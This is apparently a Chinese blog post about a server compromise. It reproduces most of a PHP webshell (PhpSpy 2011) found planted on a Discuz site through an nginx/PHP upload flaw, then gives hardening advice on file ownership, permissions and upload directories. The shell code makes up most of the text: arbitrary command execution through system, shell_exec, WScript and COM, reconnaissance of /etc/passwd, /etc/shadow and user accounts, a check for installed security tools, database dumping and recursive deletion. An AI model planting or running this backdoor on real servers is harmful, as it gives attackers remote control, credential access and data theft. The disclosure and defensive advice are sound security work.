makeinput(array(‘name‘=>‘month‘,‘value‘=>date(‘m‘,$opfilemtime),‘size‘=>2));  p(‘day:‘);  makeinput(array(‘name‘=>‘day‘,‘value‘=>date(‘d‘,$opfilemtime),‘size‘=>2));  p(‘hour:‘);  makeinput(array(‘name‘=>‘hour‘,‘value‘=>date(‘H‘,$opfilemtime),‘size‘=>2));  p(‘minute:‘);  makeinput(array(‘name‘=>‘minute‘,‘value‘=>date(‘i‘,$opfilemtime),‘size‘=>2));  p(‘second:‘);  makeinput(array(‘name‘=>‘second‘,‘value‘=>date(‘s‘,$opfilemtime),‘size‘=>2));  p(‘</p>‘);  formfooter();  goback();}//end newtimeelseif ($action == ‘shell‘) {  if (IS_WIN && IS_COM) {    if($program && $parameter) {      $shell= new COM(‘Shell.Application‘);      $a = $shell->ShellExecute($program,$parameter);      m(‘Program run has ‘.(!$a ? ‘success‘ : ‘fail‘));    }    !$program && $program = ‘c:\windows\system32\cmd.exe‘;    !$parameter && $parameter = ‘/c net start > ‘.SA_ROOT.‘log.txt‘;    formhead(array(‘title‘=>‘Execute Program‘));    makehide(‘action‘,‘shell‘);    makeinput(array(‘title‘=>‘Program‘,‘name‘=>‘program‘,‘value‘=>$program,‘newline‘=>1));    p(‘<p>‘);    makeinput(array(‘title‘=>‘Parameter‘,‘name‘=>‘parameter‘,‘value‘=>$parameter));    makeinput(array(‘name‘=>‘submit‘,‘class‘=>‘bt‘,‘type‘=>‘submit‘,‘value‘=>‘Execute‘));    p(‘</p>‘);    formfoot();  }  formhead(array(‘title‘=>‘Execute Command‘));  makehide(‘action‘,‘shell‘);  if (IS_WIN && IS_COM) {    $execfuncdb = array(‘phpfunc‘=>‘phpfunc‘,‘wscript‘=>‘wscript‘,‘proc_open‘=>‘proc_open‘);    makeselect(array(‘title‘=>‘Use:‘,‘name‘=>‘execfunc‘,‘option‘=>$execfuncdb,‘selected‘=>$execfunc,‘newline‘=>1));  }  p(‘<p>‘);  makeinput(array(‘title‘=>‘Command‘,‘name‘=>‘command‘,‘value‘=>htmlspecialchars($command)));  makeinput(array(‘name‘=>‘submit‘,‘class‘=>‘bt‘,‘type‘=>‘submit‘,‘value‘=>‘Execute‘));  p(‘</p>‘);  formfoot();  if ($command) {    p(‘<hr width="100%" noshade /><pre>‘);    if ($execfunc==‘wscript‘ && IS_WIN && IS_COM) {      $wsh = new COM(‘WScript.shell‘);      $exec = $wsh->exec(‘cmd.exe /c ‘.$command);      $stdout = $exec->StdOut();      $stroutput = $stdout->ReadAll();      echo $stroutput;    } elseif ($execfunc==‘proc_open‘ && IS_WIN && IS_COM) {      $descriptorspec = array(        0 => array(‘pipe‘, ‘r‘),        1 => array(‘pipe‘, ‘w‘),        2 => array(‘pipe‘, ‘w‘)      );      $process = proc_open($_SERVER[‘COMSPEC‘], $descriptorspec, $pipes);      if (is_resource($process)) {        fwrite($pipes[0], $command."\r\n");        fwrite($pipes[0], "exit\r\n");        fclose($pipes[0]);        while (!feof($pipes[1])) {          echo fgets($pipes[1], 1024);        }        fclose($pipes[1]);        while (!feof($pipes[2])) {          echo fgets($pipes[2], 1024);        }        fclose($pipes[2]);        proc_close($process);      }    } else {      echo(execute($command));    }    p(‘</pre>‘);  }}//end shellelseif ($action == ‘phpenv‘) {  $upsize=getcfg(‘file_uploads‘) ? getcfg(‘upload_max_filesize‘) : ‘Not allowed‘;  $adminmail=isset($_SERVER[‘SERVER_ADMIN‘]) ? $_SERVER[‘SERVER_ADMIN‘] : getcfg(‘sendmail_from‘);  !$dis_func && $dis_func = ‘No‘;     $info = array(    1 => array(‘Server Time‘,date(‘Y/m/d h:i:s‘,$timestamp)),    2 => array(‘Server Domain‘,$_SERVER[‘SERVER_NAME‘]),    3 => array(‘Server IP‘,gethostbyname($_SERVER[‘SERVER_NAME‘])),    4 => array(‘Server OS‘,PHP_OS),    5 => array(‘Server OS Charset‘,$_SERVER[‘HTTP_ACCEPT_LANGUAGE‘]),    6 => array(‘Server Software‘,$_SERVER[‘SERVER_SOFTWARE‘]),    7 => array(‘Server Web Port‘,$_SERVER[‘SERVER_PORT‘]),    8 => array(‘PHP run mode‘,strtoupper(php_sapi_name())),    9 => array(‘The file path‘,__FILE__),    10 => array(‘PHP Version‘,PHP_VERSION),    11 => array(‘PHPINFO‘,(IS_PHPINFO ? ‘<a href="javascript:g(\‘phpinfo\‘);">Yes</a>‘ : ‘No‘)),    12 => array(‘Safe Mode‘,getcfg(‘safe_mode‘)),    13 => array(‘Administrator‘,$adminmail),    14 => array(‘allow_url_fopen‘,getcfg(‘allow_url_fopen‘)),    15 => array(‘enable_dl‘,getcfg(‘enable_dl‘)),    16 => array(‘display_errors‘,getcfg(‘display_errors‘)),    17 => array(‘register_globals‘,getcfg(‘register_globals‘)),    18 => array(‘magic_quotes_gpc‘,getcfg(‘magic_quotes_gpc‘)),    19 => array(‘memory_limit‘,getcfg(‘memory_limit‘)),    20 => array(‘post_max_size‘,getcfg(‘post_max_size‘)),    21 => array(‘upload_max_filesize‘,$upsize),    22 => array(‘max_execution_time‘,getcfg(‘max_execution_time‘).‘ second(s)‘),    23 => array(‘disable_functions‘,$dis_func),  );  if($phpvarname) {    m($phpvarname .‘ : ‘.getcfg($phpvarname));  }  formhead(array(‘title‘=>‘Server environment‘));  makehide(‘action‘,‘phpenv‘);  makeinput(array(‘title‘=>‘Please input PHP configuration parameter(eg:magic_quotes_gpc)‘,‘name‘=>‘phpvarname‘,‘value‘=>$phpvarname,‘newline‘=>1));  formfooter();  $hp = array(0=> ‘Server‘, 1=> ‘PHP‘);  for($a=0;$a<2;$a++) {    p(‘<h2>‘.$hp[$a].‘ &raquo;</h2>‘);    p(‘<ul class="info">‘);    if ($a==0) {      for($i=1;$i<=9;$i++) {        p(‘<li><u>‘.$info[$i][0].‘:</u>‘.$info[$i][1].‘</li>‘);      }    } elseif ($a == 1) {      for($i=10;$i<=23;$i++) {        p(‘<li><u>‘.$info[$i][0].‘:</u>‘.$info[$i][1].‘</li>‘);      }    }    p(‘</ul>‘);  }}//end phpenvelseif ($action == ‘secinfo‘) {  secparam(‘Server software‘, @getenv(‘SERVER_SOFTWARE‘));  secparam(‘Disabled PHP Functions‘, ($GLOBALS[‘disable_functions‘])?$GLOBALS[‘disable_functions‘]:‘none‘);  secparam(‘Open base dir‘, @ini_get(‘open_basedir‘));  secparam(‘Safe mode exec dir‘, @ini_get(‘safe_mode_exec_dir‘));  secparam(‘Safe mode include dir‘, @ini_get(‘safe_mode_include_dir‘));  secparam(‘cURL support‘, function_exists(‘curl_version‘)?‘enabled‘:‘no‘);  $temp=array();  if(function_exists(‘mysql_get_client_info‘))    $temp[] = "MySql (".mysql_get_client_info().")";  if(function_exists(‘mssql_connect‘))    $temp[] = "MSSQL";  if(function_exists(‘pg_connect‘))    $temp[] = "PostgreSQL";  if(function_exists(‘oci_connect‘))    $temp[] = "Oracle";  secparam(‘Supported databases‘, implode(‘, ‘, $temp));  if( !IS_WIN ) {    $userful = array(‘gcc‘,‘lcc‘,‘cc‘,‘ld‘,‘make‘,‘php‘,‘perl‘,‘python‘,‘ruby‘,‘tar‘,‘gzip‘,‘bzip‘,‘bzip2‘,‘nc‘,‘locate‘,‘suidperl‘);    $danger = array(‘kav‘,‘nod32‘,‘bdcored‘,‘uvscan‘,‘sav‘,‘drwebd‘,‘clamd‘,‘rkhunter‘,‘chkrootkit‘,‘iptables‘,‘ipfw‘,‘tripwire‘,‘shieldcc‘,‘portsentry‘,‘snort‘,‘ossec‘,‘lidsadm‘,‘tcplodg‘,‘sxid‘,‘logcheck‘,‘logwatch‘,‘sysmask‘,‘zmbscap‘,‘sawmill‘,‘wormscan‘,‘ninja‘);    $downloaders = array(‘wget‘,‘fetch‘,‘lynx‘,‘links‘,‘curl‘,‘get‘,‘lwp-mirror‘);    secparam(‘Readable /etc/passwd‘, @is_readable(‘/etc/passwd‘) ? "yes" : ‘no‘);    secparam(‘Readable /etc/shadow‘, @is_readable(‘/etc/shadow‘) ? "yes" : ‘no‘);    secparam(‘OS version‘, @file_get_contents(‘/proc/version‘));    secparam(‘Distr name‘, @file_get_contents(‘/etc/issue.net‘));    $safe_mode = @ini_get(‘safe_mode‘);    if(!$GLOBALS[‘safe_mode‘]) {      $temp=array();      foreach ($userful as $item)        if(which($item)){$temp[]=$item;}      secparam(‘Userful‘, implode(‘, ‘,$temp));      $temp=array();      foreach ($danger as $item)        if(which($item)){$temp[]=$item;}      secparam(‘Danger‘, implode(‘, ‘,$temp));      $temp=array();      foreach ($downloaders as $item)         if(which($item)){$temp[]=$item;}      secparam(‘Downloaders‘, implode(‘, ‘,$temp));      secparam(‘Hosts‘, @file_get_contents(‘/etc/hosts‘));      secparam(‘HDD space‘, execute(‘df -h‘));      secparam(‘Mount options‘, @file_get_contents(‘/etc/fstab‘));    }  } else {    secparam(‘OS Version‘,execute(‘ver‘));    secparam(‘Account Settings‘,execute(‘net accounts‘));    secparam(‘User Accounts‘,execute(‘net user‘));    secparam(‘IP Configurate‘,execute(‘ipconfig -all‘));  }}//endelse {  m(‘Undefined Action‘);}?></td></tr></table><div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">  <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>  Powered by <a title="Build 20110502" href=http://www.mamicode.com/"http://www.4ngel.net" target="_blank"><?php echo str_replace(‘.‘,‘‘,‘P.h.p.S.p.y‘);?> 2011</a>. Copyright (C) 2004-2011 <a href=http://www.mamicode.com/"http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.</div></body></html><?php/*======================================================函数库======================================================*/function secparam($n, $v) {  $v = trim($v);  if($v) {    p(‘<h2>‘.$n.‘ &raquo;</h2>‘);    p(‘<div class="infolist">‘);    if(strpos($v, "\n") === false)      p($v.‘<br />‘);    else      p(‘<pre>‘.$v.‘</pre>‘);    p(‘</div>‘);  }}function m($msg) {  echo ‘<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">‘;  echo $msg;  echo ‘</div>‘;}function scookie($key, $value, $life = 0, $prefix = 1) {  global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife;  $key = ($prefix ? $cookiepre : ‘‘).$key;  $life = $life ? $life : $cookielife;  $useport = $_SERVER[‘SERVER_PORT‘] == 443 ? 1 : 0;  setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport);}  function multi($num, $perpage, $curpage, $tablename) {  $multipage = ‘‘;  if($num > $perpage) {    $page = 10;    $offset = 5;    $pages = @ceil($num / $perpage);    if($page > $pages) {      $from = 1;      $to = $pages;    } else {      $from = $curpage - $offset;      $to = $curpage + $page - $offset - 1;      if($from < 1) {        $to = $curpage + 1 - $from;        $from = 1;        if(($to - $from) < $page && ($to - $from) < $pages) {          $to = $page;        }      } elseif($to > $pages) {        $from = $curpage - $pages + $to;        $to = $pages;        if(($to - $from) < $page && ($to - $from) < $pages) {          $from = $pages - $page + 1;        }      }    }    $multipage = ($curpage - $offset > 1 && $pages > $page ? ‘<a href="javascript:settable(\‘‘.$tablename.‘\‘, \‘\‘, 1);">First</a> ‘ : ‘‘).($curpage > 1 ? ‘<a href="javascript:settable(\‘‘.$tablename.‘\‘, \‘\‘, ‘.($curpage - 1).‘);">Prev</a> ‘ : ‘‘);    for($i = $from; $i <= $to; $i++) {      $multipage .= $i == $curpage ? $i.‘ ‘ : ‘<a href="javascript:settable(\‘‘.$tablename.‘\‘, \‘\‘, ‘.$i.‘);">[‘.$i.‘]</a> ‘;    }    $multipage .= ($curpage < $pages ? ‘<a href="javascript:settable(\‘‘.$tablename.‘\‘, \‘\‘, ‘.($curpage + 1).‘);">Next</a>‘ : ‘‘).($to < $pages ? ‘ <a href="javascript:settable(\‘‘.$tablename.‘\‘, \‘\‘, ‘.$pages.‘);">Last</a>‘ : ‘‘);    $multipage = $multipage ? ‘<p>Pages: ‘.$multipage.‘</p>‘ : ‘‘;  }  return $multipage;}// 登陆入口function loginpage() {?>  <style type="text/css">  input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}  </style>  <form method="POST" action="">  <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">  <input type="hidden" name="action" value=http://www.mamicode.com/"login">  <input type="submit" value=http://www.mamicode.com/"Login">  </form><?php  exit;}//end loginpage()function execute($cfe) {  $res = ‘‘;  if ($cfe) {    if(function_exists(‘system‘)) {      @ob_start();      @system($cfe);      $res = @ob_get_contents();      @ob_end_clean();    } elseif(function_exists(‘passthru‘)) {      @ob_start();      @passthru($cfe);      $res = @ob_get_contents();      @ob_end_clean();    } elseif(function_exists(‘shell_exec‘)) {      $res = @shell_exec($cfe);    } elseif(function_exists(‘exec‘)) {      @exec($cfe,$res);      $res = join("\n",$res);    } elseif(@is_resource($f = @popen($cfe,"r"))) {      $res = ‘‘;      while(!@feof($f)) {        $res .= @fread($f,1024);       }      @pclose($f);    }  }  return $res;}function which($pr) {  $path = execute("which $pr");  return ($path ? $path : $pr); }function cf($fname,$text){  if($fp=@fopen($fname,‘w‘)) {    @fputs($fp,@base64_decode($text));    @fclose($fp);  }}function dirsize($dir) {   $dh = @opendir($dir);  $size = 0;  while($file = @readdir($dh)) {    if ($file != ‘.‘ && $file != ‘..‘) {      $path = $dir.‘/‘.$file;      $size += @is_dir($path) ? dirsize($path) : @filesize($path);    }  }  @closedir($dh);  return $size;}// 页面调试信息function debuginfo() {  global $starttime;  $mtime = explode(‘ ‘, microtime());  $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);  echo ‘Processed in ‘.$totaltime.‘ second(s)‘;}//连接MYSQL数据库function mydbconn($dbhost,$dbuser,$dbpass,$dbname=‘‘,$charset=‘‘,$dbport=‘3306‘) {  global $charsetdb;  @ini_set(‘mysql.connect_timeout‘, 5);  if(!$link = @mysql_connect($dbhost.‘:‘.$dbport, $dbuser, $dbpass)) {    p(‘<h2>Can not connect to MySQL server</h2>‘);    exit;  }  if($link && $dbname) {    if (!@mysql_select_db($dbname, $link)) {      p(‘<h2>Database selected has error</h2>‘);      exit;    }  }  if($link && mysql_get_server_info() > ‘4.1‘) {    if($charset && in_array(strtolower($charset), $charsetdb)) {      q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);    }  }  return $link;}// 去掉转义字符function s_array(&$array) {  if (is_array($array)) {    foreach ($array as $k => $v) {      $array[$k] = s_array($v);    }  } else if (is_string($array)) {    $array = stripslashes($array);  }  return $array;}// 清除HTML代码function html_clean($content) {  $content = htmlspecialchars($content);  $content = str_replace("\n", "<br />", $content);  $content = str_replace("  ", "&nbsp;&nbsp;", $content);  $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);  return $content;}// 获取权限function getChmod($filepath){  return substr(base_convert(@fileperms($filepath),10,8),-4);}function getPerms($filepath) {  $mode = @fileperms($filepath);  if (($mode & 0xC000) === 0xC000) {$type = ‘s‘;}  elseif (($mode & 0x4000) === 0x4000) {$type = ‘d‘;}  elseif (($mode & 0xA000) === 0xA000) {$type = ‘l‘;}  elseif (($mode & 0x8000) === 0x8000) {$type = ‘-‘;}   elseif (($mode & 0x6000) === 0x6000) {$type = ‘b‘;}  elseif (($mode & 0x2000) === 0x2000) {$type = ‘c‘;}  elseif (($mode & 0x1000) === 0x1000) {$type = ‘p‘;}  else {$type = ‘?‘;}  $owner[‘read‘] = ($mode & 00400) ? ‘r‘ : ‘-‘;   $owner[‘write‘] = ($mode & 00200) ? ‘w‘ : ‘-‘;   $owner[‘execute‘] = ($mode & 00100) ? ‘x‘ : ‘-‘;   $group[‘read‘] = ($mode & 00040) ? ‘r‘ : ‘-‘;   $group[‘write‘] = ($mode & 00020) ? ‘w‘ : ‘-‘;   $group[‘execute‘] = ($mode & 00010) ? ‘x‘ : ‘-‘;   $world[‘read‘] = ($mode & 00004) ? ‘r‘ : ‘-‘;   $world[‘write‘] = ($mode & 00002) ? ‘w‘ : ‘-‘;   $world[‘execute‘] = ($mode & 00001) ? ‘x‘ : ‘-‘;   if( $mode & 0x800 ) {$owner[‘execute‘] = ($owner[‘execute‘]==‘x‘) ? ‘s‘ : ‘S‘;}  if( $mode & 0x400 ) {$group[‘execute‘] = ($group[‘execute‘]==‘x‘) ? ‘s‘ : ‘S‘;}  if( $mode & 0x200 ) {$world[‘execute‘] = ($world[‘execute‘]==‘x‘) ? ‘t‘ : ‘T‘;}  return $type.$owner[‘read‘].$owner[‘write‘].$owner[‘execute‘].$group[‘read‘].$group[‘write‘].$group[‘execute‘].$world[‘read‘].$world[‘write‘].$world[‘execute‘];}function getUser($filepath)   {  if (function_exists(‘posix_getpwuid‘)) {    $array = @posix_getpwuid(@fileowner($filepath));    if ($array && is_array($array)) {      return ‘ / <a href="http://www.mamicode.com/#" title="User: ‘.$array[‘name‘].‘&#13&#10Passwd: ‘.$array[‘passwd‘].‘&#13&#10Uid: ‘.$array[‘uid‘].‘&#13&#10gid: ‘.$array[‘gid‘].‘&#13&#10Gecos: ‘.$array[‘gecos‘].‘&#13&#10Dir: ‘.$array[‘dir‘].‘&#13&#10Shell: ‘.$array[‘shell‘].‘">‘.$array[‘name‘].‘</a>‘;    }  }  return ‘‘;}// 删除目录function deltree($deldir) {  $mydir=@dir($deldir);    while($file=$mydir->read())   {        if((is_dir($deldir.‘/‘.$file)) && ($file!=‘.‘) && ($file!=‘..‘)) {       @chmod($deldir.‘/‘.$file,0777);      deltree($deldir.‘/‘.$file);     }    if (is_file($deldir.‘/‘.$file)) {      @chmod($deldir.‘/‘.$file,0777);      @unlink($deldir.‘/‘.$file);    }  }   $mydir->close();   @chmod($deldir,0777);  return @rmdir($deldir) ? 1 : 0;}// 表格行间的背景色替换function bg() {  global $bgc;  return ($bgc++%2==0) ? ‘alt1‘ : ‘alt2‘;}// 获取当前的文件系统路径function getPath($scriptpath, $nowpath) {  if ($nowpath == ‘.‘) {    $nowpath = $scriptpath;  }  $nowpath = str_replace(‘\\‘, ‘/‘, $nowpath);  $nowpath = str_replace(‘//‘, ‘/‘, $nowpath);  if (substr($nowpath, -1) != ‘/‘) {    $nowpath = $nowpath.‘/‘;  }  return $nowpath;}// 获取当前目录的上级目录function getUpPath($nowpath) {  $pathdb = explode(‘/‘, $nowpath);  $num = count($pathdb);  if ($num > 2) {    unset($pathdb[$num-1],$pathdb[$num-2]);  }  $uppath = implode(‘/‘, $pathdb).‘/‘;  $uppath = str_replace(‘//‘, ‘/‘, $uppath);  return $uppath;}// 检查PHP配置参数function getcfg($varname) {  $result = get_cfg_var($varname);  if ($result == 0) {    return ‘No‘;  } elseif ($result == 1) {    return ‘Yes‘;  } else {    return $result;  }}// 检查函数情况function getfun($funName) {  return (false !== function_exists($funName)) ? ‘Yes‘ : ‘No‘;}// 获得文件扩展名function getext($file) {  $info = pathinfo($file);  return $info[‘extension‘];}function GetWDirList($dir){  global $dirdata,$j,$nowpath;  !$j && $j=1;  if ($dh = opendir($dir)) {    while ($file = readdir($dh)) {      $f=str_replace(‘//‘,‘/‘,$dir.‘/‘.$file);      if($file!=‘.‘ && $file!=‘..‘ && is_dir($f)){        if (is_writable($f)) {          $dirdata[$j][‘filename‘]=str_replace($nowpath,‘‘,$f);          $dirdata[$j][‘mtime‘]=@date(‘Y-m-d H:i:s‘,filemtime($f));          $dirdata[$j][‘dirchmod‘]=getChmod($f);          $dirdata[$j][‘dirperm‘]=getPerms($f);          $dirdata[$j][‘dirlink‘]=$dir;          $dirdata[$j][‘server_link‘]=$f;          $j++;        }        GetWDirList($f);      }    }    closedir($dh);    clearstatcache();    return $dirdata;  } else {    return array();  }}function GetWFileList($dir){  global $filedata,$j,$nowpath, $writabledb;  !$j && $j=1;  if ($dh = opendir($dir)) {    while ($file = readdir($dh)) {      $ext = getext($file);      $f=str_replace(‘//‘,‘/‘,$dir.‘/‘.$file);      if($file!=‘.‘ && $file!=‘..‘ && is_dir($f)){        GetWFileList($f);      } elseif($file!=‘.‘ && $file!=‘..‘ && is_file($f) && in_array($ext, explode(‘,‘, $writabledb))){        if (is_writable($f)) {          $filedata[$j][‘filename‘]=str_replace($nowpath,‘‘,$f);          $filedata[$j][‘size‘]=sizecount(@filesize($f));          $filedata[$j][‘mtime‘]=@date(‘Y-m-d H:i:s‘,filemtime($f));          $filedata[$j][‘filechmod‘]=getChmod($f);          $filedata[$j][‘fileperm‘]=getPerms($f);          $filedata[$j][‘fileowner‘]=getUser($f);          $filedata[$j][‘dirlink‘]=$dir;          $filedata[$j][‘server_link‘]=$f;          $j++;        }      }    }    closedir($dh);    clearstatcache();    return $filedata;  } else {    return array();  }}function GetSFileList($dir, $content, $re = 0) {  global $filedata,$j,$nowpath, $writabledb;  !$j && $j=1;  if ($dh = opendir($dir)) {    while ($file = readdir($dh)) {      $ext = getext($file);      $f=str_replace(‘//‘,‘/‘,$dir.‘/‘.$file);      if($file!=‘.‘ && $file!=‘..‘ && is_dir($f)){        GetSFileList($f, $content, $re = 0);      } elseif($file!=‘.‘ && $file!=‘..‘ && is_file($f) && in_array($ext, explode(‘,‘, $writabledb))){        $find = 0;        if ($re) {          if ( preg_match(‘@‘.$content.‘@‘,$file) || preg_match(‘@‘.$content.‘@‘, @file_get_contents($f)) ){            $find = 1;          }        } else {          if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) {            $find = 1;          }        }        if ($find) {          $filedata[$j][‘filename‘]=str_replace($nowpath,‘‘,$f);          $filedata[$j][‘size‘]=sizecount(@filesize($f));          $filedata[$j][‘mtime‘]=@date(‘Y-m-d H:i:s‘,filemtime($f));          $filedata[$j][‘filechmod‘]=getChmod($f);          $filedata[$j][‘fileperm‘]=getPerms($f);          $filedata[$j][‘fileowner‘]=getUser($f);          $filedata[$j][‘dirlink‘]=$dir;          $filedata[$j][‘server_link‘]=$f;          $j++;        }      }    }    closedir($dh);    clearstatcache();    return $filedata;  } else {    return array();  }}function qy($sql) {   global $mysqllink;  //echo $sql.‘<br>‘;  $res = $error = ‘‘;  if(!$res = @mysql_query($sql,$mysqllink)) {     return 0;  } else if(is_resource($res)) {    return 1;   } else {    return 2;  }    return 0;}function q($sql) {   global $mysqllink;  return @mysql_query($sql,$mysqllink);}function fr($qy){  mysql_free_result($qy);}function sizecount($fileSize) {  $size = sprintf("%u", $fileSize);  if($size == 0) {    return ‘0 Bytes‘ ;  }  $sizename = array(‘ Bytes‘, ‘ KB‘, ‘ MB‘, ‘ GB‘, ‘ TB‘, ‘ PB‘, ‘ EB‘, ‘ ZB‘, ‘ YB‘);  return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i];}// 备份数据库function sqldumptable($table, $fp=0) {  global $mysqllink;  $tabledump = "DROP TABLE IF EXISTS `$table`;\n";  $res = q("SHOW CREATE TABLE $table");  $create = mysql_fetch_row($res);  $tabledump .= $create[1].";\n\n";  if ($fp) {    fwrite($fp,$tabledump);  } else {    echo $tabledump;  }  $tabledump = ‘‘;  $rows = q("SELECT * FROM $table");  while ($row = mysql_fetch_assoc($rows)) {    foreach($row as $k=>$v) {      $row[$k] = "‘".@mysql_real_escape_string($v)."‘";    }    $tabledump = ‘INSERT INTO `‘.$table.‘` VALUES (‘.implode(", ", $row).‘);‘."\n";    if ($fp) {      fwrite($fp,$tabledump);    } else {      echo $tabledump;    }  }  fwrite($fp,"\n\n");  fr($rows);}function p($str){  echo $str."\n";}function tbhead() {  p(‘<table width="100%" border="0" cellpadding="4" cellspacing="0">‘);}function tbfoot(){  p(‘</table>‘);}function makehide($name,$value=‘‘){  p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=http://www.mamicode.com/"$value\" />");}function makeinput($arg = array()){  $arg[‘size‘] = $arg[‘size‘] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";  $arg[‘extra‘] = $arg[‘extra‘] ? $arg[‘extra‘] : ‘‘;  !$arg[‘type‘] && $arg[‘type‘] = ‘text‘;  $arg[‘title‘] = $arg[‘title‘] ? $arg[‘title‘].‘<br />‘ : ‘‘;  $arg[‘class‘] = $arg[‘class‘] ? $arg[‘class‘] : ‘input‘;  if ($arg[‘newline‘]) {    p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=http://www.mamicode.com/"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");  } else {    p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=http://www.mamicode.com/"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");  }}function makeselect($arg = array()){  if ($arg[‘onchange‘]) {    $onchange = ‘onchange="‘.$arg[‘onchange‘].‘"‘;  }  $arg[‘title‘] = $arg[‘title‘] ? $arg[‘title‘] : ‘‘;  if ($arg[‘newline‘]) p(‘<p>‘);  p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");    if (is_array($arg[‘option‘])) {      if ($arg[‘nokey‘]) {        foreach ($arg[‘option‘] as $value) {          if ($arg[‘selected‘]==$value) {            p("<option value=http://www.mamicode.com/"$value\" selected>$value</option>");          } else {            p("<option value=http://www.mamicode.com/"$value\">$value</option>");          }        }      } else {        foreach ($arg[‘option‘] as $key=>$value) {          if ($arg[‘selected‘]==$key) {            p("<option value=http://www.mamicode.com/"$key\" selected>$value</option>");          } else {            p("<option value=http://www.mamicode.com/"$key\">$value</option>");          }        }      }    }  p("</select>");  if ($arg[‘newline‘]) p(‘</p>‘);}function formhead($arg = array()) {  global $self;  !$arg[‘method‘] && $arg[‘method‘] = ‘post‘;  !$arg[‘action‘] && $arg[‘action‘] = $self;  $arg[‘target‘] = $arg[‘target‘] ? "target=\"$arg[target]\"" : ‘‘;  !$arg[‘name‘] && $arg[‘name‘] = ‘form1‘;  p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");  if ($arg[‘title‘]) {    p(‘<h2>‘.$arg[‘title‘].‘ &raquo;</h2>‘);  }}function maketext($arg = array()){  !$arg[‘cols‘] && $arg[‘cols‘] = 100;  !$arg[‘rows‘] && $arg[‘rows‘] = 25;  $arg[‘title‘] = $arg[‘title‘] ? $arg[‘title‘].‘<br />‘ : ‘‘;  p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");}function formfooter($name = ‘‘){  !$name && $name = ‘submit‘;  p(‘<p><input class="bt" name="‘.$name.‘" id="‘.$name.‘" type="submit" value="http://www.mamicode.com/Submit"></p>‘);  p(‘</form>‘);}function goback(){  global $self, $nowpath;  p(‘<form action="‘.$self.‘" method="post"><input type="hidden" name="action" value="http://www.mamicode.com/file" /><input type="hidden" name="dir" value="http://www.mamicode.com/‘.$nowpath.‘" /><p><input class="bt" type="submit" value="http://www.mamicode.com/Go back..."></p></form>‘);}function formfoot(){  p(‘</form>‘);}function encode_pass($pass) {  $pass = md5(‘angel‘.$pass);  $pass = md5($pass.‘angel‘);  $pass = md5(‘angel‘.$pass.‘angel‘);  return $pass;}function pr($s){  echo "<pre>".print_r($s).‘</pre>‘;}?>

  上面的脚本被恶意用户完成对系统的远程控制。

这次发现的恶意代码注入应该是之前的一次 nginx 和 php 安全漏洞 引起，当时由 WooYun.org 汇报，原来已经被恶意用户种下了这些后门。

这个漏洞简言之就是用户可以上传文件后缀为 .php.jpg 的文件，在外部访问时直接被当做 php 执行，罪魁祸首归结为以下三点：

• php 配置
• nginx 配置
• discuz

  允许上传文件名指定后缀为 .php.jpg

• 采用更严格的文件目录权限
  • 列出属主不应该为 nobody 的目录：

    find . -type d  | xargs ls -lad | grep nobody | grep -v ‘/data‘

    除 discuz 要求为可写的目录（路径名包启/data）外，其它所有文件及目录属主都改为非 nobody 用户。

    需要注意的是 source/plugin/ 下的所有目录需要为所有用户添加上可执行权限（特别是自已开发并上传解压的插件），否则访问插件时会出现以下错误提示：

             指定的插件模块文件(XXXXXXXXXX)不存在或存在语法错误，请检查是否已将插件完整上传

  • 列出属主不应该为 nobody 的文件：

    find . -type f  | xargs ls -la | grep nobody | grep -v ‘/data‘

    除 discuz 要求为可写的文件（路径名包启/data）外，其它所有文件属主都改为非 nobody 用户。

  • 列出 nobody 可写的文件

    find . -type f ! -perm 0644  | xargs ls -la | grep -v ‘/data/‘

    收回非必要的写权限。

• 确保上传目录中的 php 文件不会被当做 php 执行
  • data/attachment
  • uc_server/data/avatar
  • uc_server/data/tmp